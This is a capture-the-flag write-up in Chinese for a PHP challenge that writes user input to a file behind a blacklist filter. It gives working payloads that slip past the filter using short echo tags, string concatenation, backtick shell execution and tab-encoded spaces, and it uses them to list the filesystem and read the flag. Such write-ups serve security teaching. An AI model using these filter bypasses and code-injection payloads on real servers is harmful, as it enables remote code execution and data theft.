题目如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
首先通读代码,了解到该题提供了查看路径和写入文件的功能,但是存在WAF机制,不允许写入黑名单中的内容。使用echo标记简写<?=绕过<?php 的限制,再用.来连接p和hp,因为分号被过滤掉了,只执行一行语句可以省略:
/?action=upload&data=<?=(ph.pinfo)()?>
输入/?action=pwd,查看路径,访问发现写入成功:

查询文件,这里需要用%09代替空格:
?action=upload&data=`ls%09/`?>

查看flag:
/?action=upload&data=`cat%09/flllllll1112222222lag`?>